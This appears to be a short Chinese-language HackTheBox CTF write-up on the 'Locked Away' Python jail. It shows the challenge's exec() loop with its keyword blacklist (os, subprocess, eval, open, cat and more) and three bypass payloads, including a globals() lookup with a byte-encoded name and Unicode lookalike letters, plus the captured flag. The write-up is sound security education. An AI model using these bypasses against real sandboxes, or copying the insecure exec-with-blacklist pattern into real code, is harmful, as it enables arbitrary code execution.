HackTheBox-Challenges Locked Away Writeup

kazma 成大資安社 創辦人/社長

Exploitaion

耶這題是有趣的 pyjail。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
╰─ cat challenge/main.py                                ─╯
def open_chest():
with open('flag.txt', 'r') as f:
print(f.read())

blacklist = [
'import', 'os', 'sys', 'breakpoint',
'flag', 'txt', 'read', 'eval', 'exec',
'dir', 'print', 'subprocess', '[', ']',
'echo', 'cat', '>', '<', '"', '\'', 'open'
]

while True:
command = input('The chest lies waiting... ')

if any(b in command for b in blacklist):
print('Invalid command!')
continue

try:
exec(command)
except Exception:
print('You have been locked away...')
exit(1337)

稍微整理了一下題目的主邏輯如上,總之就是有個無限迴圈會把 input 拿去執行 exec 但是要繞黑名單,這邊提供幾種做法:

  1. 首先第一種是我們可以透過 blacklist.clear() 或是 blacklist = '' 先清除黑名單後 call open_chest()
  2. 另一種做法是假設他只能輸入一次的話,我們可以嘗試用其他方式呼叫 open_chest(),例如:
    1
    2
    In [5]: list(b'open_chest')
    Out[5]: [111, 112, 101, 110, 95, 99, 104, 101, 115, 116]
    我們把它換成 ascii,然後用下面的方式代表 ‘open_chest’:
    1
    2
    In [6]: bytes([111, 112, 101, 110, 95, 99, 104, 101, 115, 116]).decode()
    Out[6]: 'open_chest'
    再來我們可以透過 globals.get() 去呼叫到 open_chest 函式:
    1
    2
    The chest lies waiting... globals().get(bytes((111, 112, 101, 110, 95, 99, 104, 101, 115, 116)).decode())()
    HTB{bL4cKl1sT?_bUt_tH4t'5_t0o_3asY}
    Amazing!
  3. 再來是我們也可以換字型直接繞過,像是:
    1
    2
    3
    The chest lies waiting... 𝖔𝖕𝖊𝖓_𝖈𝖍𝖊𝖘𝖙()
    HTB{bL4cKl1sT?_bUt_tH4t'5_t0o_3asY}
    The chest lies waiting...

Pwned !!!

pwn

References

  • Title: HackTheBox-Challenges Locked Away Writeup
  • Author: kazma
  • Created at : 2024-11-01 15:38:20
  • Updated at : 2024-11-01 16:27:44
  • Link: https://kazma.tw/2024/11/01/HackTheBox-Challenges-Locked-Away-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
HackTheBox-Challenges Locked Away Writeup